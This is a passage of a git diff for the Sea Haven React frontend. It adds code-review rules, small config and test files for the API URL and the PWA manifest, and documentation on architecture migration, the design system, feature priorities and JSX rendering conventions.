Board-backed regression inventory + +- **MUST** check the change against the **Seahaven Jira SH board** inventory — + all visible tickets for this area, not only the current ticket. Behavior that + is Done / QA-approved / released is **protected scope**. +- **MUST** treat a plausible regression against protected behavior as a + **Blocker** until disproven with repo evidence (the accepting tests, the linked + PR/release, and a targeted check of the changed code paths). +- **MUST NOT** approve if board access or the relevant inventory is missing — + say so and block rather than infer a pass. A missing ticket link alone is not + a blocker, but known acceptance criteria must still be traced. + +The current Jira workflow has no `Ready for QA` transition. Merged work remains +in the documented pre-QA status until QA evidence supports `Done`; do not invent +a status or mark unverified work Done. + +## 3. Behavior-based testing + +- **MUST** test through **public behavior** (rendered output, user interactions, + query/mutation outcomes), not internal implementation details. Prefer + `@testing-library` queries and user-event flows; assert what users observe. +- **MUST NOT** add tests whose only purpose is to prove a tool (ESLint, the + governance script) executes — validate tooling by running the real gates + (`npm run verify`), not with assertion-free unit tests. +- **SHOULD** cover the meaningful branches of new logic: the happy path, the + error/empty state, and any boundary the change introduces. + +## 4. Security review + +- **MUST** confirm no raw server error payloads, stack traces, or internal IDs + leak to the UI (see ARCHITECTURE_AND_CODE_QUALITY.md §Security). +- **MUST** confirm no secrets/tokens are introduced into the build, and that no + `VITE_*` variable carries a secret (it is baked into the bundle). +- **SHOULD** check untrusted input is validated (Zod) before use and that + dangerously-set HTML / unescaped server strings are not introduced. + +## 5. Performance and Big-O review + +- **MUST** flag algorithmic regressions in hot paths: `O(n²)`+ loops over server + collections, re-filtering/sorting on every render, unbounded list rendering + without virtualization. +- **MUST** confirm TanStack Query keys are stable and that mutations invalidate + the correct keys (no stale cache, no redundant refetch storms). +- **SHOULD** question speculative `useMemo`/`useCallback` (add when measured) and + unstable identities passed to memoized children. + +## 6. No style-only comments + +- **MUST NOT** leave comments that only restate what Prettier or ESLint already + enforces (formatting, naming nits the linter catches). Style is settled by the + gates; review is for behavior, correctness, security, and architecture. +- **MUST** make every comment actionable: tie it to a behavior, a risk, or an + evidence-based convention in these docs, and offer a concrete fix or a + targeted question. Use GitHub suggestion blocks when safe. + +## 7. Review close-out + +A review is complete when it records, briefly: + +1. Findings ordered by severity (Blocker / Needs-change / Suggestion), or + "no findings". +2. Open questions and their owner. +3. Which of the above checks were run, and any that were skipped (and why). +4. Residual risk, if approving. + +Do not write a monolithic review body or a validation transcript into the PR +surface; keep comments inline and high-signal. diff --git a/commitlint.config.js b/commitlint.config.js new file mode 100644 index 00000000..fa584fb6 --- /dev/null +++ b/commitlint.config.js @@ -0,0 +1 @@ +export default { extends: ["@commitlint/config-conventional"] }; diff --git a/config/api-url-contract.test.ts b/config/api-url-contract.test.ts new file mode 100644 index 00000000..a087ff50 --- /dev/null +++ b/config/api-url-contract.test.ts @@ -0,0 +1,41 @@ +import { readFileSync } from "node:fs"; +import path from "node:path"; +import { describe, expect, it } from "vitest"; +import { assertAbsoluteApiUrlHasApiSegment } from "./api-url-contract"; + +describe("assertAbsoluteApiUrlHasApiSegment", () => { + it("allows relative /api", () => { + expect(() => assertAbsoluteApiUrlHasApiSegment("/api")).not.toThrow(); + }); + + it("allows empty or undefined", () => { + expect(() => assertAbsoluteApiUrlHasApiSegment(undefined)).not.toThrow(); + expect(() => assertAbsoluteApiUrlHasApiSegment("")).not.toThrow(); + }); + + it("allows absolute URL ending with /api", () => { + expect(() => + assertAbsoluteApiUrlHasApiSegment("https://api.seahavenindustries.com/api"), + ).not.toThrow(); + }); + + it("rejects absolute URL without /api", () => { + expect(() => assertAbsoluteApiUrlHasApiSegment("https://api.seahavenindustries.com")).toThrow( + /must end with \/api/, + ); + }); +}); + +describe(".env.example contract", () => { + it("documents an absolute VITE_API_URL that includes /api", () => { + const envExample = readFileSync(path.resolve(process.cwd(), ".env.example"), "utf8"); + const match = envExample.match(/^VITE_API_URL=(.+)$/m); + + expect(match).not.toBeNull(); + const value = match![1]!.trim(); + + if (value.startsWith("http")) { + expect(() => assertAbsoluteApiUrlHasApiSegment(value)).not.toThrow(); + } + }); +}); diff --git a/config/api-url-contract.ts b/config/api-url-contract.ts new file mode 100644 index 00000000..85f44af6 --- /dev/null +++ b/config/api-url-contract.ts @@ -0,0 +1,21 @@ +/** Absolute VITE_API_URL values must end with this segment (API_PATHS omit /api). */ +export const ABSOLUTE_API_URL_SUFFIX = /\/api\/?$/; + +/** + * Fails fast when an absolute VITE_API_URL omits the /api segment. + * Relative values (e.g. /api) are valid and skipped. + */ +export function assertAbsoluteApiUrlHasApiSegment(apiUrl: string | undefined): void { + const trimmed = apiUrl?.trim(); + if (!trimmed?.startsWith("http")) { + return; + } + + if (!ABSOLUTE_API_URL_SUFFIX.test(trimmed)) { + throw new Error( + `VITE_API_URL absolute URLs must end with /api (got: ${trimmed}). ` + + "API route paths do not include /api — set VITE_API_URL to the full API base, e.g. https://api.example.com/api. " + + "See README.md and .env.example.", + ); + } +} diff --git a/config/pwa-manifest.test.ts b/config/pwa-manifest.test.ts new file mode 100644 index 00000000..a509de14 --- /dev/null +++ b/config/pwa-manifest.test.ts @@ -0,0 +1,33 @@ +import { readFileSync, existsSync } from "node:fs"; +import path from "node:path"; +import { describe, expect, it } from "vitest"; + +const root = path.resolve(__dirname, ".."); +const manifest = JSON.parse(readFileSync(path.join(root, "public/manifest.json"), "utf-8")) as { + name: string; + short_name: string; + theme_color: string; + icons: Array<{ src: string }>; +}; +const indexHtml = readFileSync(path.join(root, "index.html"), "utf-8"); + +describe("PWA install metadata", () => { + it("identifies the app as Sea Haven, not template branding", () => { + expect(manifest.name).toContain("Sea Haven"); + expect(manifest.short_name).not.toBe("React App"); + expect(manifest.name).not.toContain("Create React App"); + }); + + it("uses the design-system theme color, matching index.html", () => { + expect(manifest.theme_color).toBe("#1c75bc"); + expect(indexHtml).toContain(``); + }); + + it("only references icon files that exist in public/", () => { + for (const icon of manifest.icons) { + expect(existsSync(path.join(root, "public", icon.src)), `missing public/${icon.src}`).toBe( + true, + ); + } + }); +}); diff --git a/docs/ARCHITECTURE_PLAN.md b/docs/ARCHITECTURE_PLAN.md new file mode 100644 index 00000000..1e5d44ee --- /dev/null +++ b/docs/ARCHITECTURE_PLAN.md @@ -0,0 +1,102 @@ +# Architecture Plan — Sea Haven (Selective Rebuild) + +> Aligned with IrisLoan.Admin · Vite SPA + React Router · **no Next.js** · Tailwind + MUI + +Mirror document of the Cursor plan. Strategy: **reuse knowledge, discard legacy code** — do not normalize/refactor the current project. + +--- + +## Strategy in one sentence + +Build `api/` + `domain/` + `app/` from scratch; use `pages/` only as **endpoint and business rule reference**; **delete** each legacy folder when the new feature is ready. + +--- + +## Matrix: Keep vs Discard + +### Keep (extract logic → new code) + +| Legacy | Keep | Destination | +| ------------------------------------- | -------------------------------- | ------------------------------------------------ | +| `lib/api/services.js` | ASP.NET paths + response parsing | `api/api-paths.ts`, `api/handle-api-response.ts` | +| `pages/*/api.js` | Real endpoints | `api/api-paths.ts` | +| `constants/queryKeys.js` | Entities | `infra/query-key/query-key.ts` | +| `hooks/useDebounce.js`, `useModal.js` | Hooks | `hooks/*.ts` | +| `hooks/api/usePMSchedules.js` | RQ pattern | Template `domain/*/use-cases/` | +| `lib/queryClient.js` | Cache defaults | `lib/query/query-client.ts` | +| `App.js`, `Sidebar.js` | Routes and menu | `app/routes.tsx`, `config/menu.ts` | +| `pages/workorders/` (list) | Business flow | Reference for POC | + +### Discard (delete without refactoring) + +- `apiUtil.js`, `services/api.js`, `lib/api/client.js` +- `tokenUtility.js`, `authService.js`, Redux (`app/store.js`, slices) +- `usePaginatedList.js`, entire `pages/` folder (after replacement) +- `Site.Layout.js`, `setupProxy.js`, `site.css`, per-feature CSS, Font Awesome +- Forms `*FormPage.js` (rewrite with RHF + Zod) +- `SharedTable.js`, `ActionBar.js` (recreate if adapting is costly) + +### Defer (later) + +- `pages/vendor-portal/` → `domain/vendor-portal/` +- `pages/calendar/` → new FullCalendar wrapper + +--- + +## Feature priority + +Full matrix (waves, dependencies, LOC, done criteria): **[`FEATURE_PRIORITIZATION.md`](FEATURE_PRIORITIZATION.md)** · TS config: [`src/config/feature-priorities.ts`](../src/config/feature-priorities.ts). + +| Wave | Scope | +| ----------------- | --------------------------------------------------------------------------- | +| **0 POC** | auth → work-orders (list) | +| **1 must-have** | work-orders (full), dashboard, settings/dropdowns | +| **2** | accounts, locations, employees | +| **3 should-have** | vendors, vendor-pos, uplifts, follow-ups, contacts, settings/task-templates | +| **4 later** | calendar, vendor-portal, pm-schedules, assets, reports/documents | + +Stakeholder decision: **auth + work-orders first**; POC = auth + work-orders list (not pm-schedules). + +--- + +## Target structure + +``` +src/ +├── api/ +├── domain// +├── infra/query-key/ +├── lib/ +├── components/ui/ + common/ +├── app/ +├── config/menu.ts +├── hooks/ +├── providers/ +└── main.tsx +``` + +--- + +## Phases + +| Phase | Goal | +| ----- | ------------------------------------------------------------------------------------- | +| **0** | Complete foundation (Ky, routes, layout, AuthProvider, tooling) — Vite/TS/Tailwind ok | +| **1** | Ky + httpOnly auth cookies; delete legacy HTTP stacks | +| **2** | Rewrite must-have features; delete `pages//` per delivery | +| **3** | UI shell + RHF+Zod forms | +| **4** | Remove `pages/`, Redux, legacy CSS; Docker + CI + Vitest | + +--- + +## Next steps + +1. Complete foundation (`api/api.ts`, `routes.tsx`, AuthProvider, layout shell) +2. `api/api-paths.ts` (extract from `lib/api/services.js`) +3. POC: `domain/auth` + login → delete `pages/auth/` +4. POC: `domain/work-orders` (list) → delete list portion of `pages/workorders/` +5. Cookie contract with backend + +--- + +See full plan with diagrams in `.cursor/plans/migração_arquitetura_irisloan_cf39e1a6.plan.md`. diff --git a/docs/DESIGN_SYSTEM.md b/docs/DESIGN_SYSTEM.md new file mode 100644 index 00000000..28d3996a --- /dev/null +++ b/docs/DESIGN_SYSTEM.md @@ -0,0 +1,137 @@ +# Sea Haven Design System + +Visual foundation for **seaheven.front**, aligned with [seahaven.desing](https://github.com) tokens and IrisLoan.Admin integration patterns (centralized CSS, `@theme inline`, `cn()`). + +## Stack + +- **MUI-only** — no Radix/shadcn; MUI is the sole component library +- **Tailwind v4** — semantic utility classes from CSS tokens +- **Fonts** — Montserrat (headings), DM Sans (body), JetBrains Mono (code) via `@fontsource` + +## Token source of truth + +| File | Purpose | +| --------------------------- | ------------------------------------------------------------ | +| `src/styles/theme.css` | All `:root` CSS variables + `@theme inline` Tailwind aliases | +| `src/styles/fonts.css` | `@fontsource` imports | +| `src/styles/typography.css` | Base `html`, `body`, `h1–h6`, `.text-caption`, `.text-label` | +| `src/styles/motion.css` | `--duration-fast`, `--duration-normal`, `--ease-default` | +| `src/styles/globals.css` | Entry: imports all above + `@custom-variant dark` | + +## Key tokens + +### Brand & surfaces + +| Token | Value | Usage | +| -------------------- | --------- | -------------------------- | +| `--primary` | `#1c75bc` | Buttons, links, focus ring | +| `--primary-hover` | `#155a92` | Hover states | +| `--foreground` | `#262262` | Primary text | +| `--background` | `#ffffff` | Cards, inputs | +| `--color-bg-page` | `#f9fafb` | Page background | +| `--border` | `#dfe3ea` | Dividers, outlines | +| `--muted-foreground` | `#58595b` | Secondary text | + +### Layout + +| Token | Value | +| ----------------------------- | ------- | +| `--spacing-sidebar` | `220px` | +| `--spacing-sidebar-collapsed` | `56px` | +| `--spacing-topbar` | `64px` | + +### Typography scale + +| Token | Size | +| ---------------- | ---- | +| `--text-xs` | 11px | +| `--text-sm` | 12px | +| `--text-base-sm` | 13px | +| `--text-base` | 14px | +| `--text-md` | 16px | +| `--text-lg` | 18px | +| `--text-xl` | 22px | +| `--text-2xl` | 28px | + +### Elevation + +| Token | Usage | +| ------------- | ------------------- | +| `--shadow-sm` | Cards, subtle depth | +| `--shadow-md` | Dropdowns, panels | +| `--shadow-lg` | Dialogs, modals | + +### Work order badges (immutable) + +Type, status, and completion-doc tokens (`--type-*`, `--status-*`, `--doc-*`) must not be changed — see `src/components/domain/`. + +## Typography hierarchy + +| Element | Font | Weight | Size | +| --------------- | ---------- | ------ | -------------- | +| `h1` | Montserrat | 800 | 28px | +| `h2` | Montserrat | 700 | 22px | +| `h3` | Montserrat | 600 | 18px | +| `h4–h6` | Montserrat | 600 | 16–13px | +| Body | DM Sans | 400 | 14px | +| `.text-caption` | DM Sans | 400 | 12px | +| `.text-label` | DM Sans | 600 | 11px uppercase | + +MUI typography variants in `src/lib/theme/mui-theme.ts` mirror this hierarchy. + +## MUI + Tailwind usage + +### Prefer themed MUI in forms and data tables + +MUI components inherit Sea Haven styling via `mui-theme.ts` overrides (`Button`, `TextField`, `Table`, `Chip`, `Paper`, `Dialog`, `Alert`). + +### Prefer semantic Tailwind in layout shells + +```tsx +
+
+
+``` + +### Compose classes with `cn()` + +```tsx +import { cn } from "@/lib/utils"; + +
; +``` + +### Shared UI wrappers + +| Component | Path | Pattern | +| ------------ | ------------------------------- | ---------------------------- | +| `Button` | `components/ui/button.tsx` | MUI Button + variant presets | +| `Badge` | `components/ui/badge.tsx` | MUI Chip | +| `PageHeader` | `components/ui/page-header.tsx` | PATTERN_001 | +| `EmptyState` | `components/ui/empty-state.tsx` | PATTERN_003 | +| `FormField` | `components/ui/form-field.tsx` | PATTERN_004 | + +### Domain badges + +| Component | Path | +| -------------------------------------- | ------------------------------------ | +| `TypeBadge` | `components/domain/type-badge.tsx` | +| `StatusBadge` / `WorkOrderStatusBadge` | `components/domain/status-badge.tsx` | +| `DocBadge` | `components/domain/doc-badge.tsx` | + +## Legacy → Sea Haven mapping + +| Legacy | Sea Haven | Consumption | +| ------------------------- | ------------------------------ | -------------------------------- | +| `#0c4f6f` / `--blue-main` | `--primary` (`#1c75bc`) | MUI `primary.main`, `bg-primary` | +| `#083a52` / `--blue-dark` | `--primary-hover` | Button hover | +| `#f4f6f7` / `--bg` | `--color-bg-page` | Body, page shell | +| `#d9dde0` / `--border` | `--border` | Dividers, inputs | +| `#fbfbfb` sidebar | `--color-sidebar-bg` | App sidebar | +| Segoe UI 13px | DM Sans 14px | Body typography | +| Bootstrap calendar colors | `--primary`, `--success`, etc. | `calendar-utils.ts` | +| `#1a3a5c` login header | `--color-header-bg-start` | Login branding strip | + +## Dark mode + +`@custom-variant dark (&:is(.dark *))` is configured in `globals.css`. Full dark token set is a future enhancement; light mode is the current default. diff --git a/docs/DESIGN_SYSTEM_MIGRATION.md b/docs/DESIGN_SYSTEM_MIGRATION.md new file mode 100644 index 00000000..21cfa639 --- /dev/null +++ b/docs/DESIGN_SYSTEM_MIGRATION.md @@ -0,0 +1,88 @@ +# Design System Migration Log + +Migration from legacy CSS (`index.css`, `#0c4f6f` palette) to Sea Haven DS tokens. Strategy: **MUI-only**. + +## Phase 1 — Foundation + +| File | Action | Reason | +| --------------------------- | ---------- | --------------------------------------------------------------------- | +| `src/styles/theme.css` | Created | SoT: 131+ Sea Haven tokens + layout/typography/elevation extensions | +| `src/styles/fonts.css` | Created | Montserrat, DM Sans, JetBrains Mono via `@fontsource` | +| `src/styles/typography.css` | Created | Base html/body/heading/caption/label styles | +| `src/styles/motion.css` | Created | Duration and easing tokens | +| `src/styles/globals.css` | Refactored | Import chain + `@custom-variant dark`; removed legacy `@theme` tokens | +| `src/lib/utils.ts` | Created | `cn()` with clsx + tailwind-merge | +| `src/lib/theme/css-vars.ts` | Created | `getCssVar()` helper for MUI bridge | +| `package.json` | Modified | Added `@fontsource/*`, `clsx`, `tailwind-merge` | + +## Phase 2 — MUI Bridge + +| File | Action | Reason | +| ---------------------------- | -------- | --------------------------------------------------------------- | +| `src/lib/theme/mui-theme.ts` | Expanded | Full palette, typography, shape, shadows, 8 component overrides | + +## Phase 3 — App Shell + +| File | Action | Reason | +| ----------------------------------------- | -------- | -------------------------------------------------- | +| `src/components/layout/app-sidebar.tsx` | Created | MUI Drawer + sidebar tokens; replaces `Sidebar.js` | +| `src/components/layout/app-topbar.tsx` | Created | MUI AppBar + header gradient; replaces `Topbar.js` | +| `src/app/(protected)/_layout.tsx` | Modified | Uses new layout components | +| `src/main.tsx` | Modified | Removed `index.css` import | +| `src/app/v/_components/vendor-portal.css` | Modified | Re-tokenized with Sea Haven CSS vars | +| `src/index.css` | Deleted | ~487 lines migrated to tokens + TSX shell | +| `src/components/Sidebar.js` | Deleted | Replaced by `app-sidebar.tsx` | +| `src/components/Topbar.js` | Deleted | Replaced by `app-topbar.tsx` | +| `src/styles/FormPage.css` | Deleted | Unused (no imports in codebase) | + +## Phase 4 — Shared UI + +| File | Action | Reason | +| ------------------------------------------ | -------- | -------------------------------------------- | +| `src/components/ui/button.tsx` | Created | MUI Button wrapper | +| `src/components/ui/badge.tsx` | Created | MUI Chip wrapper | +| `src/components/ui/page-header.tsx` | Created | PATTERN_001 | +| `src/components/ui/empty-state.tsx` | Created | PATTERN_003 | +| `src/components/ui/form-field.tsx` | Created | PATTERN_004 | +| `src/components/domain/type-badge.tsx` | Created | WO type tokens | +| `src/components/domain/status-badge.tsx` | Created | WO status tokens + API aliases | +| `src/components/domain/doc-badge.tsx` | Created | Completion doc tokens (MUI icons) | +| `src/app/(protected)/workorders/index.tsx` | Modified | `WorkOrderStatusBadge` replaces generic Chip | + +## Phase 5 — Page refactor + +| File | Action | Reason | +| ---------------------------------------------------------------------- | -------- | ------------------------------------------ | +| `src/app/(auth)/login.tsx` | Modified | `#1a3a5c` → `var(--color-header-bg-start)` | +| `src/app/(protected)/dashboard.tsx` | Modified | `border-gray-*` → `border-border` | +| `src/app/(protected)/index.tsx` | Modified | Same as dashboard | +| `src/app/(protected)/settings/dropdowns.tsx` | Modified | Semantic sidebar + active states | +| `src/app/(protected)/settings/task-templates.tsx` | Modified | Semantic borders/text | +| `src/components/common/settings-nav.tsx` | Modified | `text-primary`, `border-border` | +| `src/components/common/calendar/calendar-utils.ts` | Modified | Bootstrap hex → Sea Haven CSS vars | +| `src/components/common/calendar/calendar-action-bar.tsx` | Modified | Semantic surface classes | +| `src/components/common/calendar/event-calendar.tsx` | Modified | Semantic surface classes | +| `src/components/common/signature-capture.tsx` | Modified | Canvas colors from CSS vars | +| `src/app/(protected)/workorders/_components/dispatch-create-modal.tsx` | Modified | Semantic borders/hover | +| `src/app/(protected)/workorders/_components/dispatch-detail-modal.tsx` | Modified | Semantic borders | +| `src/app/(protected)/workorders/[id].tsx` | Modified | Semantic borders | +| `src/app/(protected)/vendor-pos/[id].tsx` | Modified | Semantic borders | + +## Phase 6 — Docs & validation + +| File | Action | Reason | +| --------------------------------- | ------- | ------------------------------- | +| `docs/DESIGN_SYSTEM.md` | Created | Token reference and usage guide | +| `docs/DESIGN_SYSTEM_MIGRATION.md` | Created | This file | + +## Visual impact summary + +- Primary color: `#0c4f6f` → `#1c75bc` (expected, documented) +- Body font: Segoe UI 13px → DM Sans 14px +- Sidebar: `#fbfbfb` → `#f6f8fb` with Sea Haven active/hover states +- Header: flat blue gradient → Sea Haven multi-stop gradient + +## Not migrated (intentional) + +- CRUD list pages using default MUI theming — inherit via `mui-theme.ts` without JSX changes +- `src/app/v/_components/signature-pad.tsx` — vendor portal isolated; minor `#111` stroke remains diff --git a/docs/FEATURE_PRIORITIZATION.md b/docs/FEATURE_PRIORITIZATION.md new file mode 100644 index 00000000..aa52e770 --- /dev/null +++ b/docs/FEATURE_PRIORITIZATION.md @@ -0,0 +1,160 @@ +# Feature Prioritization Matrix — Sea Haven + +> Source of truth for legacy → `domain/` + `app/` migration order. +> Machine-readable config: [`src/config/feature-priorities.ts`](../src/config/feature-priorities.ts). + +--- + +## Stakeholder decisions + +| Decision | Detail | +| ------------------------ | ----------------------------------------------------------------------------------------- | +| Top priority | **`auth`** and **`work-orders`** | +| End-to-end POC | **`auth` + work-orders (list)** — validate Ky, React Query, layout shell and AuthProvider | +| Other features | Flexible order, guided by technical dependencies (waves below) | +| POC **does not** include | `pm-schedules` (deferred to Wave 4) | + +--- + +## Full matrix + +| Order | Feature | Tier | Wave | Legacy folder | Routes | LOC ~ | Dependencies | +| ----- | ------------------------- | ----------- | ---- | ----------------------------------- | ----------------------------------------------------------------------------- | ------ | ---------------------------------------------------------------------------- | +| 1 | auth | POC | 0 | `pages/auth/` | `/login` | 513 | — | +| 2 | work-orders (list) | POC | 0 | `pages/workorders/` (list) | `/workorders` | 4.3k\* | auth | +| 3 | work-orders (form + view) | must-have | 1 | `pages/workorders/` | `/workorders/new`, `/workorders/:id`, `/workorders/edit/:id` | 4.3k\* | auth, work-orders (list), settings/dropdowns, accounts, locations, employees | +| 4 | dashboard | must-have | 1 | `pages/Dashboard.js` | `/`, `/dashboard` | 253 | auth | +| 5 | settings/dropdowns | must-have | 1 | `pages/settings/` (DropdownOptions) | `/settings/dropdowns` | 866\* | auth | +| 6 | accounts | must-have | 2 | `pages/accounts/` | `/accounts`, `/accounts/new`, `/accounts/edit/:id` | 745 | auth | +| 7 | locations | must-have | 2 | `pages/locations/` | `/locations`, `/locations/new`, `/locations/edit/:id` | 1.1k | auth, accounts | +| 8 | employees | must-have | 2 | `pages/employees/` | `/employees`, `/employees/new`, `/employees/edit/:id` | 1.9k | auth | +| 9 | vendors | should-have | 3 | `pages/vendors/` | `/vendors`, `/vendors/new`, `/vendors/edit/:id` | 610 | auth, work-orders (full) | +| 10 | vendor-pos | should-have | 3 | `pages/vendor-pos/` | `/vendor-pos`, `/vendor-pos/:id` | 1k | auth, work-orders (full) | +| 11 | uplifts | should-have | 3 | `pages/uplifts/` | `/uplifts` | 317 | auth, work-orders (full) | +| 12 | follow-ups | should-have | 3 | `pages/followup/` | `/followups`, `/followups/new`, `/followups/edit/:id` | 1.3k | auth, employees, accounts, locations | +| 13 | contacts | should-have | 3 | `pages/contacts/` | `/contacts`, `/contacts/new`, `/contacts/edit/:id` | 1.1k | auth | +| 14 | settings/task-templates | should-have | 3 | `pages/settings/` (TaskTemplates) | `/settings/task-templates` | 866\* | auth, work-orders (full) | +| 15 | calendar | later | 4 | `pages/calendar/` | `/calendar`, `/calendar/new`, `/calendar/edit/:id` | 1.9k | auth | +| 16 | vendor-portal | later | 4 | `pages/vendor-portal/` | `/v/:token`, `/v/:token/dashboard`, `/v/:token/pos`, `/v/:token/dispatch/:id` | 1.4k | auth, vendors | +| 17 | pm-schedules | later | 4 | `pages/PmSchedule/` | `/pmschedules`, `/pmschedules/new`, `/pmschedules/edit/:id` | 1.1k | auth | +| 18 | assets | later | 4 | `pages/assets/` | `/assets`, `/assets/new`, `/assets/edit/:id` | 638 | auth, accounts | +| 19 | reports / documents | later | 4 | — (no implementation) | `/reports`, `/documents` (menu only) | — | auth | + +\* LOC for the entire folder; POC scope uses only the list submodule. + +### Legacy complexity (reference) + +| Feature | Complexity | Notes | +| ------------- | ---------- | --------------------------------------------------------- | +| auth | Low | Replace Redux/`tokenUtility` with AuthProvider + cookies | +| dashboard | Medium | Real KPIs via `GET /Dashboard/Stats` | +| work-orders | **High** | Monolithic view; dispatch, checklist, signoff | +| contacts | High | Legacy form **stub** (save TODO) — rewrite with RHF + Zod | +| employees | High | Large form | +| vendor-portal | High | URL token auth + signature | +| calendar | High | FullCalendar wrapper | +| pm-schedules | Medium | Legacy API bugs (`PmSchedule/Create` vs `Save`) | + +--- + +## Dependency graph + +```mermaid +flowchart TD + subgraph wave0 [Wave0_POC] + auth[auth] + woList[work_orders_list] + end + subgraph wave1 [Wave1_MustHave] + woFull[work_orders_full] + dash[dashboard] + dropdowns[settings_dropdowns] + end + subgraph wave2 [Wave2_Dependencies] + accounts[accounts] + locations[locations] + employees[employees] + end + subgraph wave3 [Wave3_ShouldHave] + vendors[vendors] + vendorPos[vendor_pos] + uplifts[uplifts] + followups[follow_ups] + contacts[contacts] + settingsTpl[task_templates] + end + subgraph wave4 [Wave4_Later] + calendar[calendar] + vendorPortal[vendor_portal] + pmSched[pm_schedules] + assets[assets] + reports[reports_documents] + end + auth --> woList + woList --> woFull + dropdowns --> woFull + accounts --> woFull + locations --> woFull + employees --> woFull + woFull --> vendors + vendors --> vendorPortal + woFull --> vendorPos + woFull --> uplifts +``` + +### Waves (summary) + +| Wave | Tier | Features | +| ----- | ----------- | --------------------------------------------------------------------------- | +| **0** | POC | auth, work-orders (list) | +| **1** | must-have | work-orders (full), dashboard, settings/dropdowns | +| **2** | must-have | accounts, locations, employees | +| **3** | should-have | vendors, vendor-pos, uplifts, follow-ups, contacts, settings/task-templates | +| **4** | later | calendar, vendor-portal, pm-schedules, assets, reports/documents | + +> `accounts` and `locations` can progress in parallel with the WO view if the list POC uses data already available in the backend; the order above is the minimum sequence for the full WO form. + +--- + +## Legacy gaps and cleanup + +| Item | Location | Migration action | +| ------------------------ | --------------------------------------------------------- | -------------------------------------------------------------------------------------------- | +| Duplicate dashboard | `pages/dashboard/` (mock prototype) | **Not routed** — ignore; use only `pages/Dashboard.js` as reference | +| Orphan login | `pages/user/api.js` | Delete in Phase 1 (Ky + auth); duplicates `pages/auth/` flow | +| Ghost menu | `Sidebar.js` → Reports `/reports`, Documents `/documents` | No routes or pages — implement from scratch (Wave 4) or remove from menu in `config/menu.ts` | +| Incomplete contacts form | `pages/contacts/form/` | Do not port stub; rewrite with RHF + Zod in Wave 3 | +| PM schedules API | `pages/PmSchedule/` | Document Create vs Save inconsistency; fix in rewrite | + +--- + +## "Done" criteria per feature + +A feature is **done** when all items below are met: + +1. **`domain//`** — Zod schemas, hooks/use-cases, types; no imports from `pages/`, Redux, axios or `apiUtil` +2. **`app/`** — thin views (list, form, view as scoped) registered in `app/routes.tsx` +3. **`api/api-paths.ts`** — feature endpoints centralized; responses via `handle-api-response.ts` +4. **`infra/query-key/query-key.ts`** — feature query keys +5. **Protected route** — navigation via `config/menu.ts` (when applicable to the wave) +6. **Delete legacy** — `pages//` folder (or equivalent files) removed after validation +7. **No regression** — main flow tested manually or with Vitest (when available) + +### Done criteria for special scope + +| Scope | Additional criterion | +| ------------------------ | ---------------------------------------------------------------------------------- | +| **POC auth** | Login/logout with httpOnly cookies; `AuthProvider` replaces Redux + `tokenUtility` | +| **POC work-orders list** | Paginated/filtered list with Ky + RQ; no form/view in this delivery | +| **work-orders full** | Form + view (dispatch, checklist, signoff) functional | +| **settings/dropdowns** | Problem/Trade/SubTrade dropdowns available for WO form | +| **reports/documents** | Explicit decision: implement feature or remove menu links | + +--- + +## References + +- Architecture plan: [`ARCHITECTURE_PLAN.md`](ARCHITECTURE_PLAN.md) +- IrisLoan conventions: `.cursor/rules/seahaven-admin.mdc` +- Legacy routes: `src/App.js` +- Legacy menu: `src/components/Sidebar.js` diff --git a/docs/FRONTEND_MAINTAINABILITY.md b/docs/FRONTEND_MAINTAINABILITY.md new file mode 100644 index 00000000..9b125ecc --- /dev/null +++ b/docs/FRONTEND_MAINTAINABILITY.md @@ -0,0 +1,115 @@ +# Frontend maintainability conventions + +## Conditional rendering + +Use logical `&&` or the `when` prop on `Text` when JSX has only a rendered state and an empty +state. Use a ternary only when both branches render meaningful alternatives. + +```tsx +{ + error && {error.message}; +} + + + {description} +; +``` + +ESLint rejects `condition ? : null`. This keeps one-sided conditions visually +distinct from real either-or UI decisions. + +The left operand of `&&` must be entirely boolean. `&&` renders its left operand when it is falsy +and non-boolean (notably `{count && }` renders `0`), so a type-aware ESLint rule, +`seahaven/no-non-boolean-jsx-and`, is enforced at `error` across the repository. It asks the +TypeScript checker for the type of the left operand and reports unless every union constituent is +boolean-like, so `boolean | undefined` and `string | null` fail just as `number` does. The rule +fails closed: if type services are unavailable in a governed TSX file it reports rather than +silently claiming safety. The `when` prop on `Text` is typed `boolean`, so TypeScript enforces the +same constraint at that component boundary. + +Approved guard forms (choose by semantics, not as a blind codemod): + +- Presence-only values where falsy means "absent" — errors, optional strings shown only when set + (descriptions, notes, reasons), and optional objects (locations, detail records): coerce with + `Boolean(value)` (or `Boolean(a || b)` for a composite presence test) before `&&`. + `{Boolean(error) && }` and `{Boolean(description) && }` are the canonical forms. +- Values where `0` or `""` is meaningful, or where a non-null value must flow into a typed prop or + helper inside the branch: use an explicit nullish/range comparison so the operand is boolean and + TypeScript can still narrow. `{count > 0 && ...}`, `{value != null && ...}`, and + `{isEdit && id != null && }` keep `0`/`""` semantics and preserve + narrowing. +- Element-slot props (`icon`, `action`, `actions`) are typed `ReactElement`, not `ReactNode`: the + slot holds one element (or fragment), and the render branch coerces with `Boolean(prop)`. Do not + widen these back to `ReactNode`, since a slot is never a meaningful `0`/`""`. + +Never weaken, disable, baseline, or add per-line exceptions to the rule. A new one-sided condition +that needs a non-boolean operand must be rewritten into one of the approved forms above. + +## Typography and feedback + +Use `Text` from `@/components/ui/text` for headings, paragraphs, descriptions, labels, captions, +code, and asynchronous feedback. It owns: + +- semantic HTML for each visual variant; +- the display, body, and monospace font families; +- default, muted, error, success, and warning tones; +- accessible `alert` and `status` live regions for error and feedback text; +- one-sided conditional text through `when`. + +The variant contract is non-overridable: `component`, `role`, and `aria-live` are omitted from +`TextProps` (TypeScript blocks them) and the remaining props are spread before the variant-owned +attributes so the variant element, tone, and live-region role always win at runtime. Use `as` to +choose the rendered element and `tone` to choose the color; do not pass `component`, `role`, or +`aria-live` directly. + +Live-region behavior: + +- `feedback` (polite `status`) keeps the region mounted and toggles its text content via `when`, so + the polite region exists before its content changes and is announced reliably. Mounting an + already-populated status node on demand is not announceable on most screen-reader/browser pairs. +- `error` (assertive `alert`) mounts on demand (`when={false}` unmounts it). Alert-on-mount is the + expected error pattern, so the shipped `when={Boolean(error)}` usages are correct. + +ESLint rejects raw paragraph and heading elements. Existing MUI `Typography` usages remain valid, +but new shared UI should prefer `Text` so semantics and design tokens do not drift. + +The `vp-error` CSS token is presentational chrome for vendor-portal error cards and may only appear +on the `Text` component. ESLint flags any non-`Text` JSX element whose `className` is a static +string literal containing `vp-error` (e.g. `
`, `
